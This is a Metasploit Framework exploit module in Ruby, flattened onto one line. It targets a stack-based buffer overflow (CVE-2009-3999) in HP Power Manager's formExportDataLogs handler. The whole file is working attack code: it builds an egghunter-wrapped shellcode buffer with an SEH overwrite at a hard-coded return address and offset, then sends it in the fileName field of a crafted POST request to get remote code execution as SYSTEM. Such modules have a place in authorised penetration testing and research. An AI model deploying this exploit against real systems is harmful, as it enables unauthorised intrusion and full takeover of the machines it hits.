|   1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126  |  ## # $Id: hp_power_manager_filename.rb 14016 2011-10-20 17:40:21Z sinn3r $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote  Rank = NormalRanking  include Msf::Exploit::Remote::HttpClient  include Msf::Exploit::Remote::Egghunter  def initialize(info = {})  super(update_info(info,  'Name'=> "HP Power Manager 'formExportDataLogs' Buffer Overflow",  'Description' => %q{  This module exploits a buffer overflow in HP Power Manager's 'formExportDataLogs'.  By creating a malformed request specifically for the fileName parameter, a stack-based  buffer overflow occurs due to a long error message (which contains the fileName),  which may result aribitrary remote code execution under the context of 'SYSTEM'.  },  'License' => MSF_LICENSE,  'Author'=>   [  # Original discovery (Secunia Research)  'Alin Rad Pop',  # Metasploit module (thx DcLabs members, corelanc0d3r, humble-desser, pyoor)  'Rodrigo Escobar <ipax[at]dclabs.com.br>',  # Metasploit fu  'sinn3r'  ],  'Version' => '$Revision: 14016 $',  'References'=>  [  [ 'CVE', '2009-3999' ],  [ 'BID', '37867' ]  ],  'DefaultOptions' =>  {  'ExitFunction' => 'thread',  },  'Platform'=> 'win',  'Payload' =>  {  'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c&=+?:;-,/#.\\$%\x1a",  'DisableNops' => true,  'EncoderOptions' => {'BufferRegister' => 'EDI' }# Egghunter jmp edi  },  'Targets' =>  [  [  # Tested on HP Power Manager 4.2 (Build 7 and 9)  'Windows XP SP3 / Win Server 2003 SP0',  {  'Ret'=> 0x004174d5,#pop esi # pop ebx # ret 10 (DevManBE.exe)  'Offset' => 721  }  ]  ],  'Privileged'=> false,  'DisclosureDate'=> 'Oct 19 2011',  'DefaultTarget' => 0))  register_options([Opt::RPORT(80)], self.class)  end  def exploit  print_status("Generating payload...")  # Randomize the tag by not specifying one  eggoptions = { :checksum => true }  hunter,egg = generate_egghunter(payload.encoded, payload_badchars, eggoptions)  buffer= rand_text_alpha_upper(target['Offset'] - hunter.length)  buffer << make_nops(30) + hunter  buffer << "\xeb\xc2\x90\x90" #JMP SHORT 0xC2  buffer << [target.ret].pack('V*')[0,3] #SEH (strip the null byte, HP PM will pad it for us)  # Let's make the request a little bit more realistic looking  time = Time.new  print_status("Trying target #{target.name}...")  connect  request = send_request_cgi({  'method'=> 'POST',  'uri' => '/goform/formExportDataLogs',  'vars_post' => {  'dataFormat' => 'comma',  'exportto' => 'file',  'fileName' => buffer,  'bMonth' => "%02d" %time.month,  'bDay' => "%02d" %time.day,  'bYear'=> time.year.to_s,  'eMonth' => "%02d" %time.month,  'eDay' => "%02d" %time.day,  'eYear'=> time.year.to_s,  'LogType'=> 'Application',  'actionType' => '1%3B'  },  'headers' =>  {  'Accept'=> egg,  'Referer' => "http://#{rhost}/Contents/exportLogs.asp?logType=Application"  }  }, 5)  print_status("Payload sent! Go grab a coffee, the CPU is gonna work hard for you! :)")  # Wait for a bit longer. For some reason it may take some time for the process to start  # handling our request.  select(nil, nil, nil, 7)  handler  disconnect  end end  |